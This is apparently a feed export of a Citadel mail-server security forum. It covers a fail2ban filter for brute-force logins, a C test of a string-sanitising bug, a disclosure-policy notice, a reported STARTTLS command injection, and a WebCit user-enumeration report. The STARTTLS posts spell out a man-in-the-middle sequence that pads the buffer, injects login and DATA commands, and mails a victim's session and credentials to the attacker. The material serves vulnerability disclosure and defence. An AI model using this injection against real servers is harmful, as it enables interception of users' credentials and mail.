<p>2) Add these lines to your jail.conf or jail.local [Choose your ban-time, I just used this for testing.. also, I know they have macros for syslog.  I'm just being direct, and expressing how I feel. ]</p>
<pre style="font-family: mono;">[citadel] 
bantime = 1h 
logpath = /var/log/syslog
</pre>
<p> </p>
<p>3) Add these lines (sshd should be there if nothing else) to your /etc/fail2ban/jail.d/ (debian is defaults-debian.conf )</p>
<p> </p>
<p>[sshd]<br />enabled = true<br /><br />[citadel]<br />enabled = true</p>
<p> </p>
<p>4) Restart fail2ban, however you like to do it.  maybe:</p>
<p>service fail2ban restart</p>
<p>5) Check to see if your new jail is active..</p>
<p>root@mail:/etc/fail2ban/jail.d# fail2ban-client status<br />Status<br />|- Number of jail:    2<br />`- Jail list:    citadel, sshd</p>
<p>6) Check for bans..</p>
<p>root@mail:/etc/fail2ban/jail.d# fail2ban-client status citadel<br />Status for the jail: citadel<br />|- Filter<br />|  |- Currently failed:    0<br />|  |- Total failed:    225<br />|  `- File list:    /var/log/syslog<br />`- Actions<br />   |- Currently banned:    25<br />   |- Total banned:    225<br />   `- Banned IP list:    ....<br /><br />I'll try to get a proper procedure written for you sometime ...</p>
<p><br /><br /></p>
<br /><br /></div>
</blockquote>
<p> </p>
<br /><br /></div>
</blockquote>
<p> </p>
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=4644322</link><pubDate>Sat, 09 Jan 2021 15:07:25 -0000</pubDate><title>Re: Quick and dirty Fail2ban filter for Citadel..</title><guid isPermaLink="false">4644322@Uncensored</guid><description><![CDATA[<html><body>

<p> </p>
<blockquote>
<div class="message_header"><span>Sat Jan 09 2021 09:17:36 EST</span> <span>from <a href="do_template?template=user_show?who=Michael">Michael</a> </span> <span class="message_subject">Subject: Re: Quick and dirty Fail2ban filter for Citadel..</span></div>
<div class="message_content">
<p>I did some testing with the failregex below.  Did not produce any hits against syslog.  Tried this instead:</p>
<p>failregex = .*bad.* &lt;HOST&gt;<br />       <br />ignoreregex = systemd|CRON|spamd|fail2ban-client</p>
<p>which found the correct number auf smtp auth errors in my log.</p>
<p> </p>
<p>On another note, fail2ban's standard sendmail.conf action (used when selecting MTA = sendmail) links to /usr/local/sendmail.  That file links to /usr/local/citadel/citmail on my installation.  Using the -f attribute produces errors.  One needs to update sendmail.conf and the other sendmail-xyz.conf(s) to point to citmail.  Everything is working now.</p>
<p>Maybe, in your next build, there is a way to allow the sendmail link to citmail to work without modifying fail2ban's sendmail conf files?</p>
<p><br /><br /></p>
<p> </p>
<blockquote>
<div class="message_header"><span>Tue Sep 29 2020 19:58:40 EDT</span> <span>from <a href="do_template?template=user_show?who=warbaby">warbaby</a> </span> <span class="message_subject">Subject: Quick and dirty Fail2ban filter for Citadel..</span></div>
<div class="message_content">
<p>In light of all the service 'outages' lately.. [Been seeing some big spikes brute force attempts.. ]</p>
<p>install fail2ban according to the way you do it for you..</p>
<p>Remember, this is a "Quick" and also "Dirty" solution. something to keep the Mongolian Hoards out of your mail-box .</p>
<p>The regex is quite nonrestrictive, for the sake of getting a layer of security out to you. </p>
<p>It can probably be ddosed pretty easily, so this is not the kind of thing we want to propagate until those fields have been better clamped down and tested..</p>
<p>[This will take time, and we can use any/all help.]</p>
<p>But, this will definitely stop the brute forcing.  I banned &amp; blocked myself several times with it last night.. :)</p>
<p>1) Add this filter (maybe in /etc/fail2ban/filter.d/<strong>citadel.conf</strong>, or whatever suits your setup)</p>
<p>[Follow down below, more after the file.. ]</p>
<p>##</p>
<p># Fail2Ban filter for citadel (citserver)<br />#<br /># Citadel should default to log incorrect passwords by &lt;service&gt;. This SHOULD <br /># include any login attempt by text client, webcit, smtp, imap, pop, or xmpp.<br /># but has only been tested for webcit, and smtp.. <br /><br />[INCLUDES]<br /><br />before = common.conf<br /><br />[Definition]<br /><br />_daemon = citserver<br /><br /># Option:  failregex<br /># Notes.:  regex to match yer password failures messages in yer logfile.<br /># Values:  TEXT<br /><br />failregex = ^%(__prefix_line)suser_ops: bad password specified for &lt;[^&gt;]+&gt; Service &lt;[^&gt;]+&gt; Port &lt;[^&gt;]+&gt; Remote &lt;&lt;HOST&gt;<br /><br /># Option:  ignoreregex<br /># Notes.:  regex to ignore. If this regex matches, the line is ignored.<br /># Values:  TEXT<br />#<br />ignoreregex =</p>
<p>###</p>
<p>2) Add these lines to your jail.conf or jail.local [Choose your ban-time, I just used this for testing.. also, I know they have macros for syslog.  I'm just being direct, and expressing how I feel. ]</p>
<pre style="font-family: mono;">[citadel] 
bantime = 1h 
logpath = /var/log/syslog
</pre>
<p> </p>
<p>3) Add these lines (sshd should be there if nothing else) to your /etc/fail2ban/jail.d/ (debian is defaults-debian.conf )</p>
<p> </p>
<p>[sshd]<br />enabled = true<br /><br />[citadel]<br />enabled = true</p>
<p> </p>
<p>4) Restart fail2ban, however you like to do it.  maybe:</p>
<p>service fail2ban restart</p>
<p>5) Check to see if your new jail is active..</p>
<p>root@mail:/etc/fail2ban/jail.d# fail2ban-client status<br />Status<br />|- Number of jail:    2<br />`- Jail list:    citadel, sshd</p>
<p>6) Check for bans..</p>
<p>root@mail:/etc/fail2ban/jail.d# fail2ban-client status citadel<br />Status for the jail: citadel<br />|- Filter<br />|  |- Currently failed:    0<br />|  |- Total failed:    225<br />|  `- File list:    /var/log/syslog<br />`- Actions<br />   |- Currently banned:    25<br />   |- Total banned:    225<br />   `- Banned IP list:    ....<br /><br />I'll try to get a proper procedure written for you sometime ...</p>
<p><br /><br /></p>
<br /><br /></div>
</blockquote>
<p> </p>
<br /><br /></div>
</blockquote>
<p> </p>
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=4644304</link><pubDate>Sat, 09 Jan 2021 14:17:36 -0000</pubDate><title>Re: Quick and dirty Fail2ban filter for Citadel..</title><guid isPermaLink="false">4644304@Uncensored</guid><description><![CDATA[<html><body>

<p>I did some testing with the failregex below.  Did not produce any hits against syslog.  Tried this instead:</p>
<p>failregex = .*bad.* &lt;HOST&gt;<br />       <br />ignoreregex = systemd|CRON|spamd|fail2ban-client</p>
<p>which found the correct number auf smtp auth errors in my log.</p>
<p> </p>
<p>On another note, fail2ban's standard sendmail.conf action (used when selecting MTA = sendmail) links to /usr/local/sendmail.  That file links to /usr/local/citadel/citmail on my installation.  Using the -f attribute produces errors.  One needs to update sendmail.conf and sendmail-common.conf to point to citmail.  Everything is working now.</p>
<p>Maybe, in your next build, there is a way to allow the sendmail link to citmail to work without modifying fail2ban's sendmail conf files?</p>
<p><br /><br /></p>
<p> </p>
<blockquote>
<div class="message_header"><span>Tue Sep 29 2020 19:58:40 EDT</span> <span>from <a href="do_template?template=user_show?who=warbaby">warbaby</a> </span> <span class="message_subject">Subject: Quick and dirty Fail2ban filter for Citadel..</span></div>
<div class="message_content">
<p>In light of all the service 'outages' lately.. [Been seeing some big spikes brute force attempts.. ]</p>
<p>install fail2ban according to the way you do it for you..</p>
<p>Remember, this is a "Quick" and also "Dirty" solution. something to keep the Mongolian Hoards out of your mail-box .</p>
<p>The regex is quite nonrestrictive, for the sake of getting a layer of security out to you. </p>
<p>It can probably be ddosed pretty easily, so this is not the kind of thing we want to propagate until those fields have been better clamped down and tested..</p>
<p>[This will take time, and we can use any/all help.]</p>
<p>But, this will definitely stop the brute forcing.  I banned &amp; blocked myself several times with it last night.. :)</p>
<p>1) Add this filter (maybe in /etc/fail2ban/filter.d/<strong>citadel.conf</strong>, or whatever suits your setup)</p>
<p>[Follow down below, more after the file.. ]</p>
<p>##</p>
<p># Fail2Ban filter for citadel (citserver)<br />#<br /># Citadel should default to log incorrect passwords by &lt;service&gt;. This SHOULD <br /># include any login attempt by text client, webcit, smtp, imap, pop, or xmpp.<br /># but has only been tested for webcit, and smtp.. <br /><br />[INCLUDES]<br /><br />before = common.conf<br /><br />[Definition]<br /><br />_daemon = citserver<br /><br /># Option:  failregex<br /># Notes.:  regex to match yer password failures messages in yer logfile.<br /># Values:  TEXT<br /><br />failregex = ^%(__prefix_line)suser_ops: bad password specified for &lt;[^&gt;]+&gt; Service &lt;[^&gt;]+&gt; Port &lt;[^&gt;]+&gt; Remote &lt;&lt;HOST&gt;<br /><br /># Option:  ignoreregex<br /># Notes.:  regex to ignore. If this regex matches, the line is ignored.<br /># Values:  TEXT<br />#<br />ignoreregex =</p>
<p>###</p>
<p>2) Add these lines to your jail.conf or jail.local [Choose your ban-time, I just used this for testing.. also, I know they have macros for syslog.  I'm just being direct, and expressing how I feel. ]</p>
<pre style="font-family: mono;">[citadel] 
bantime = 1h 
logpath = /var/log/syslog
</pre>
<p> </p>
<p>3) Add these lines (sshd should be there if nothing else) to your /etc/fail2ban/jail.d/ (debian is defaults-debian.conf )</p>
<p> </p>
<p>[sshd]<br />enabled = true<br /><br />[citadel]<br />enabled = true</p>
<p> </p>
<p>4) Restart fail2ban, however you like to do it.  maybe:</p>
<p>service fail2ban restart</p>
<p>5) Check to see if your new jail is active..</p>
<p>root@mail:/etc/fail2ban/jail.d# fail2ban-client status<br />Status<br />|- Number of jail:    2<br />`- Jail list:    citadel, sshd</p>
<p>6) Check for bans..</p>
<p>root@mail:/etc/fail2ban/jail.d# fail2ban-client status citadel<br />Status for the jail: citadel<br />|- Filter<br />|  |- Currently failed:    0<br />|  |- Total failed:    225<br />|  `- File list:    /var/log/syslog<br />`- Actions<br />   |- Currently banned:    25<br />   |- Total banned:    225<br />   `- Banned IP list:    ....<br /><br />I'll try to get a proper procedure written for you sometime ...</p>
<p><br /><br /></p>
<br /><br /></div>
</blockquote>
<p> </p>
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=4634185</link><pubDate>Mon, 21 Dec 2020 12:17:53 -0000</pubDate><title>Is this behavior of citadel/support.c::strproc the expected one ?</title><guid isPermaLink="false">4634185@Uncensored</guid><description><![CDATA[<html><body>

<p>Hello !</p>
<p>While looking through citadel source code I found the code in citadel/support.c::strproc to be a bit suspicious so I created the test shown bellow, I created an alternative implementation doing what in my understand is the intended purpose and the output differ.</p>
<p>====</p>
<p>#include &lt;stdio.h&gt;</p>
<p>#include &lt;string.h&gt;</p>
<p> </p>
<p>#define IsEmptyStr(a) ( ( (a) == NULL ) || ((a)[0] == '\0') )</p>
<p> </p>
<p>/* remove characters which would interfere with the network */</p>
<p> </p>
<p>void removeChars0(char *string)</p>
<p>{</p>
<p>int a;</p>
<p>for (a=0; !IsEmptyStr(&amp;string[a]); ++a) {</p>
<p>while (string[a]=='!') strcpy(&amp;string[a],&amp;string[a+1]);</p>
<p>while (string[a]=='@') strcpy(&amp;string[a],&amp;string[a+1]);</p>
<p>while (string[a]=='_') strcpy(&amp;string[a],&amp;string[a+1]);</p>
<p>while (string[a]==',') strcpy(&amp;string[a],&amp;string[a+1]);</p>
<p>while (string[a]=='%') strcpy(&amp;string[a],&amp;string[a+1]);</p>
<p>while (string[a]=='|') strcpy(&amp;string[a],&amp;string[a+1]);</p>
<p>}</p>
<p>}</p>
<p> </p>
<p>void removeChars1(char *string)</p>
<p>{</p>
<p>int a, b;</p>
<p>for (a=0; !IsEmptyStr(&amp;string[a]); ++a) {</p>
<p>                b = a;</p>
<p>for (;;) {</p>
<p>                    switch(string[b]) {</p>
<p>                        case '!':</p>
<p>                        case '@':</p>
<p>                        case '_':</p>
<p>                        case ',':</p>
<p>                        case '%':</p>
<p>                        case '|':</p>
<p>                            ++b;</p>
<p>                            continue;</p>
<p>                    }</p>
<p>                    break;</p>
<p>                }</p>
<p>                if(a != b) strcpy(&amp;string[a],&amp;string[b]);</p>
<p>}</p>
<p>}</p>
<p> </p>
<p>int main()</p>
<p>{</p>
<p>const char *test_str = "!!@@!!__,,SOME@@%%||@@|@TEXT!@_,%|__|__|__";</p>
<p>char test[256];</p>
<p>strcpy(test, test_str);</p>
<p>removeChars0(test);</p>
<p>printf("0- %s\n", test);</p>
<p>strcpy(test, test_str);</p>
<p>removeChars1(test);</p>
<p>printf("1- %s\n", test);</p>
<p>return 0;</p>
<p>}</p>
<p>====</p>
<p> </p>
<p>And I'm getting this output:</p>
<p> </p>
<p>====</p>
<p>./remove-chars-interfere-network</p>
<p>0- !SOME@@TEEXT___</p>
<p>1- SOMETEXT</p>
<p>====</p>
<p> </p>
<p>Cheers !</p>
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=4619379</link><pubDate>Wed, 02 Dec 2020 15:51:06 -0000</pubDate><title>Updated the info banner.. with some Netsec Policy.</title><guid isPermaLink="false">4619379@Uncensored</guid><description><![CDATA[<html><body>

<p>In case you miss it:</p>
<p>"Please discuss and report any and all vulnerabilities here FIRST before reporting them to a national database.</p>
<p>BE REALISTIC.</p>
<p>Don't let your youthful optimism, idealism, and sense of do-goodery shoot this project in the foot.</p>
<p>THERE ARE REALITIES TO THOSE REPORTS. </p>
<p>Also, According to both NIST &amp; Mitre </p>
<blockquote>
<p>"You should make a GOOD FAITH EFFORT to NOTIFY the affected vendor and WORK WITH THEM to ENSURE that a patch is available PRIOR to PUBLICLY DISCLOSING the vulnerability."   <a href="https://cve.mitre.org/cve/researcher_reservation_guidelines#researcher_reservation_guidelines#2">https://cve.mitre.org/cve/researcher_reservation_guidelines#researcher_reservation_guidelines#2</a></p>
</blockquote>
<p>In other words, lets talk BEFORE you report/disclose publicly.  Dropping unwitting CVEs on us causes <strong>much</strong> wasted effort and many other problems.  It is time spent chasing the unnecessary, which could go into actually fixing problems. </p>
<p>Even so, we're all about that netsec.  Please come and join us.</p>
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=4619333</link><pubDate>Wed, 02 Dec 2020 14:57:30 -0000</pubDate><title>Re: STARTTLS Command injection in IMAP, POP3, and SMTP</title><guid isPermaLink="false">4619333@Uncensored</guid><description><![CDATA[<html><body>

<p>Murgi, you can now subscribe to this room.. <a href="listsub">http://uncensored.citadel.org/listsub</a></p>
<p>also, I didn't see any mail from you here.  but would still like your test scripts.</p>
<p>Thanks. :)</p>
<blockquote>
<div class="message_header"><span>Wed Dec 02 2020 04:01:55 AM EST</span> <span>from Murgi </span> <span class="message_subject">Subject: Re: STARTTLS Command injection in IMAP, POP3, and SMTP</span></div>
<div class="message_content">
<p>Sorry, it took me very long to look at this forum again and find this thread (is there any way to get notified of responses via e-mail?). Warbaby, I have sent you the test scripts as requested. Ignatius, have you (or someone else) found any time to look at this?</p>
<blockquote>
<div class="message_header"><span>Tue Sep 29 2020 21:28:18 EDT</span> <span>from warbaby </span> <span class="message_subject">Subject: Re: STARTTLS Command injection in IMAP, POP3, and SMTP</span></div>
<div class="message_content">
<p>I would like your test script also.  I have a testing environment all set up for this. </p>
<blockquote>
<div class="message_header"><span>Thu Aug 13 2020 06:16:27 AM EDT</span> <span>from Murgi </span> <span class="message_subject">Subject: Re: STARTTLS Command injection in IMAP, POP3, and SMTP</span></div>
<div class="message_content">
<p>Hey,</p>
<p>have you found the time to take a look at this yet?</p>
<blockquote>
<div class="message_header"><span>Wed Aug 05 2020 04:07:31 EDT</span> <span>from Murgi </span> <span class="message_subject">Subject: Re: STARTTLS Command injection in IMAP, POP3, and SMTP</span></div>
<div class="message_content">
<p> </p>
<blockquote>
<div class="message_header"><span>Tue Aug 04 2020 09:26:49 EDT</span> <span>from IGnatius T Foobar </span> <span class="message_subject">Subject: Re: STARTTLS Command injection in IMAP, POP3, and SMTP</span></div>
<div class="message_content">
<div class="fmout-JUSTIFY">Can you explain a little further what happens after the command injection? <br />If you want to send the test script privately, you can PM it to me here. <br />I'd be interested in seeing what happens next on a Citadel implementation. <br /><br />I'm sure that if a man-in-the-middle attack is possible we can mitigate it pretty easily. Thanks.</div>
</div>
</blockquote>
<p> </p>
<p>Sure! In essence this is what the trace of a real MitM attack would look like (C: Client, S: Server, A: Attacker):</p>
<blockquote>
<p>S: 220 ebb7034d4bf5 ESMTP Citadel server ready.<br />C: EHLO localhost<br />S: b'250-Hello localhost (172.17.0.1 [172.17.0.1])\r\n250-HELP\r\n250-SIZE 10485760\r\n250-AUTH LOGIN PLAIN\r\n250-AUTH=LOGIN PLAIN\r\n250 8BITMIME\r\n'<br />A: NOOP A*2000<br />S: 250 NOOP\r\n'<br />Sending 'STARTTLS\r\nEHLO localhost\r\nAUTH LOGIN\r\nYXR0YWNrZXI=\r\nYXR0YWNrZXJwYXNz\r\nMAIL FROM: &lt;attacker@example.org&gt;\r\nRCPT TO: &lt;attacker@example.org&gt;\r\nDATA\r\nSubject: This is user data!\r\n\r\n' in one packet ...<br />A: 'STARTTLS\r\nEHLO localhost\r\nAUTH LOGIN\r\nYXR0YWNrZXI=\r\nYXR0YWNrZXJwYXNz\r\nMAIL FROM: &lt;attacker@example.org&gt;\r\nRCPT TO: &lt;attacker@example.org&gt;\r\nDATA\r\nSubject: This is user data!\r\n\r\n'<br />S: 220 Begin TLS negotiation now<br />&lt;--- TLS connected ---&gt;<br />-----Found command injection here!----<br />S: 250-Hello localhost (172.17.0.1 [172.17.0.1]) -- encrypted<br />S: 250-HELP -- encrypted<br />S: 250-SIZE 10485760 -- encrypted<br />S: 250-AUTH LOGIN PLAIN<br />250
</blockquote>
<p>And the corresponding log:</p>
<blockquote>
<p>citserver[123]: context: session (SMTP-MTA) started from 172.17.0.1 (172.17.0.1) uid=-1<br />citserver[123]: SMTP server: EHLO localhost<br />citserver[123]: SMTP server: NOOP AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</blockquote>
<p>So the user attacker uses the injection to log in, prepares a mail to themselves (using MAIL FROM, RCPT TO, and DATA). These commands get buffered into the encrypted stream. Now the actual client (alice) sends their commands, but everything is interpreted inside the DATA verb, which is finally closed by the . sent by alice.<br />The responses to the injections by citadel directly after the handshake will be interpreted as the answers to alice commands (this can be fine tuned in a real MitM scenario by delaying records on a TLS level if necessary, but most clients are fine with this). Finally, the attacker will receive an e-mail from themselves containing the contents of alice's session (including their credentials).</p>
<p>Note: As you can see I am first sending NOOP with a lot of As after it. This is to increase the receive buffer size to make room for the injection.</p>
<p>I have attached a .pcap file of the SMTP connection and will be sending you the test script privately.</p>
<p>Note: Wireshark will not get what is happening after the injection and display only garbage. As a workaround, you can right click an SMTP packet-&gt;protocol preferences-&gt;Disable SMTP. The TLS records will then be displayed correctly. To restore SMTP later click Analyze-&gt;Enabled Protocols and search for SMTP.</p>
<br /><br /></div>
</blockquote>
<p> </p>
<br /><br /></div>
</blockquote>
<p> </p>
<br /><br /></div>
</blockquote>
<p> </p>
<br /><br /></div>
</blockquote>
<p> </p>
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=4618947</link><pubDate>Wed, 02 Dec 2020 09:01:55 -0000</pubDate><title>Re: STARTTLS Command injection in IMAP, POP3, and SMTP</title><guid isPermaLink="false">4618947@Uncensored</guid><description><![CDATA[<html><body>

<p>Sorry, it took me very long to look at this forum again and find this thread (is there any way to get notified of responses via e-mail?). Warbaby, I have sent you the test scripts as requested. Ignatius, have you (or someone else) found any time to look at this?</p>
<blockquote>
<div class="message_header"><span>Tue Sep 29 2020 21:28:18 EDT</span> <span>from warbaby </span> <span class="message_subject">Subject: Re: STARTTLS Command injection in IMAP, POP3, and SMTP</span></div>
<div class="message_content">
<p>I would like your test script also.  I have a testing environment all set up for this. </p>
<blockquote>
<div class="message_header"><span>Thu Aug 13 2020 06:16:27 AM EDT</span> <span>from Murgi </span> <span class="message_subject">Subject: Re: STARTTLS Command injection in IMAP, POP3, and SMTP</span></div>
<div class="message_content">
<p>Hey,</p>
<p>have you found the time to take a look at this yet?</p>
<blockquote>
<div class="message_header"><span>Wed Aug 05 2020 04:07:31 EDT</span> <span>from Murgi </span> <span class="message_subject">Subject: Re: STARTTLS Command injection in IMAP, POP3, and SMTP</span></div>
<div class="message_content">
<p> </p>
<blockquote>
<div class="message_header"><span>Tue Aug 04 2020 09:26:49 EDT</span> <span>from IGnatius T Foobar </span> <span class="message_subject">Subject: Re: STARTTLS Command injection in IMAP, POP3, and SMTP</span></div>
<div class="message_content">
<div class="fmout-JUSTIFY">Can you explain a little further what happens after the command injection? <br />If you want to send the test script privately, you can PM it to me here. <br />I'd be interested in seeing what happens next on a Citadel implementation. <br /><br />I'm sure that if a man-in-the-middle attack is possible we can mitigate it pretty easily. Thanks.</div>
</div>
</blockquote>
<p> </p>
<p>Sure! In essence this is what the trace of a real MitM attack would look like (C: Client, S: Server, A: Attacker):</p>
<blockquote>
<p>S: 220 ebb7034d4bf5 ESMTP Citadel server ready.<br />C: EHLO localhost<br />S: b'250-Hello localhost (172.17.0.1 [172.17.0.1])\r\n250-HELP\r\n250-SIZE 10485760\r\n250-AUTH LOGIN PLAIN\r\n250-AUTH=LOGIN PLAIN\r\n250 8BITMIME\r\n'<br />A: NOOP A*2000<br />S: 250 NOOP\r\n'<br />Sending 'STARTTLS\r\nEHLO localhost\r\nAUTH LOGIN\r\nYXR0YWNrZXI=\r\nYXR0YWNrZXJwYXNz\r\nMAIL FROM: &lt;attacker@example.org&gt;\r\nRCPT TO: &lt;attacker@example.org&gt;\r\nDATA\r\nSubject: This is user data!\r\n\r\n' in one packet ...<br />A: 'STARTTLS\r\nEHLO localhost\r\nAUTH LOGIN\r\nYXR0YWNrZXI=\r\nYXR0YWNrZXJwYXNz\r\nMAIL FROM: &lt;attacker@example.org&gt;\r\nRCPT TO: &lt;attacker@example.org&gt;\r\nDATA\r\nSubject: This is user data!\r\n\r\n'<br />S: 220 Begin TLS negotiation now<br />&lt;--- TLS connected ---&gt;<br />-----Found command injection here!----<br />S: 250-Hello localhost (172.17.0.1 [172.17.0.1]) -- encrypted<br />S: 250-HELP -- encrypted<br />S: 250-SIZE 10485760 -- encrypted<br />S: 250-AUTH LOGIN PLAIN<br />250
</blockquote>
<p>And the corresponding log:</p>
<blockquote>
<p>citserver[123]: context: session (SMTP-MTA) started from 172.17.0.1 (172.17.0.1) uid=-1<br />citserver[123]: SMTP server: EHLO localhost<br />citserver[123]: SMTP server: NOOP AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
</blockquote>
<p>So the user attacker uses the injection to log in, prepares a mail to themselves (using MAIL FROM, RCPT TO, and DATA). These commands get buffered into the encrypted stream. Now the actual client (alice) sends their commands, but everything is interpreted inside the DATA verb, which is finally closed by the . sent by alice.<br />The responses to the injections by citadel directly after the handshake will be interpreted as the answers to alice commands (this can be fine tuned in a real MitM scenario by delaying records on a TLS level if necessary, but most clients are fine with this). Finally, the attacker will receive an e-mail from themselves containing the contents of alice's session (including their credentials).</p>
<p>Note: As you can see I am first sending NOOP with a lot of As after it. This is to increase the receive buffer size to make room for the injection.</p>
<p>I have attached a .pcap file of the SMTP connection and will be sending you the test script privately.</p>
<p>Note: Wireshark will not get what is happening after the injection and display only garbage. As a workaround, you can right click an SMTP packet-&gt;protocol preferences-&gt;Disable SMTP. The TLS records will then be displayed correctly. To restore SMTP later click Analyze-&gt;Enabled Protocols and search for SMTP.</p>
<br /><br /></div>
</blockquote>
<p> </p>
<br /><br /></div>
</blockquote>
<p> </p>
<br /><br /></div>
</blockquote>
<p> </p>
]]></description></item><item><link>http://uncensored.citadel.org/readfwd?go=Citadel%20Security?start_reading_at=4617522</link><pubDate>Mon, 30 Nov 2020 17:03:16 -0000</pubDate><title>Re: Multiple Security Vulnerabilities in WebCit 926</title><guid isPermaLink="false">4617522@Uncensored</guid><description><![CDATA[<html><body>

<p>Here is a brief, unofficial answer:</p>
<p>In the short term, most/many can be fixed by filtering urls and request arguments using Nginx to proxy..</p>
<p>Such as:</p>
<pre>location /                
  {
   if ($arg_template ~ "user_list") { return 403 "Forbidden";} # restrict user list completely
   if ($arg_template ~ "who") { return 403 "Forbidden";}	      # disable who's online<br />   if ($arg_template ~ "msg_confirm_move") { return 403 "Forbidden";  # restrict moving messages, until that gets sorted out.. <br />  # etc.. <br />  proxy_pass         http://127.0.0.1:8080/;
   # etc.. 
  }
</pre>
<p>[These rules will be more fully fleshed out.] </p>
<p>Along with this goes some minor edits in the static directory. [Which is being worked on right now. ]</p>
<p>The session cookie is a little bit more involved, but it's being discussed right now.</p>
<p>I'm hoping to have more complete configs posted as time allows.</p>
<p>Nginx is so fast, it's literally unnoticable.. it also offers quite a few other benefits..</p>
<p> </p>
<blockquote>
<div class="message_header"><span>Sun Nov 29 2020 06:21:34 PM EST</span> <span>from apo </span> <span class="message_subject">Subject: Re: Multiple Security Vulnerabilities in WebCit 926</span></div>
<div class="message_content">
<p> </p>
<p> </p>
<p>Hi folks,</p>
<p> </p>
<p>those issues are now well known and were reported to Mitre as security vulnerabilities. Are there any plans or estimates when they are addressed in a new release? I am currently investigating the impact for existing Debian releases of Citadel. Is there anything that could be done to work around the reported vulnerabilities, at least until a new release has been prepared or have you prepared patches already but haven't pushed a new release yet?</p>
<p> </p>
<p> </p>
<p> </p>
<p> </p>
<blockquote>
<div class="message_header"><span>Sun Oct 25 2020 11:30:55 EDT</span> <span>from warbaby </span> <span class="message_subject">Subject: Re: Multiple Security Vulnerabilities in WebCit 926</span></div>
<div class="message_content">
<p>Good finds!  We did have some of this, but thank you for your help!   We'll get right to work on it.</p>
<blockquote>
<div class="message_header"><span>Sat Oct 24 2020 11:55:37 AM EDT</span> <span>from simone </span> <span class="message_subject">Subject: Multiple Security Vulnerabilities in WebCit 926</span></div>
<div class="message_content">
<p> </p>
<p class="MsoNormal">Hello people,<br />Being myself an active user of the Citadel project, I would like to submit some security issues I’ve identified during a security review</p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal">My local setup is as follow:</p>
<p class="MsoNormal"> </p>
<p> </p>
<ul>
<li>Ubuntu Server 20.04.1</li>
<li><span style="text-indent: -0.25in;">Citadel 929</span></li>
<li><span style="text-indent: -0.25in;">WebCit 926</span></li>
<li><span style="text-indent: -0.25in;">server build 929</span></li>
</ul>
<p class="MsoListParagraphCxSpLast" style="text-indent: -.25in; mso-list: l0 level1 lfo1;"> </p>
<p> </p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal"> <strong><em>-----------Unauthenticated User Enumeration-----------</em></strong></p>
<p class="MsoNormal"> </p>
<p> </p>
<p class="MsoNormal">Valid Request:</p>
<p> </p>
<blockquote>
<p class="MsoNormal">GET /ajax_login_username_password?name=admin HTTP/1.1<br />Host: 192.168.1.239:8080</p>
</blockquote>
<p> </p>
<p class="MsoNormal">Valid response:</p>
<p> </p>
<blockquote>
<p class="MsoNormal">540 Wrong password.</p>
</blockquote>
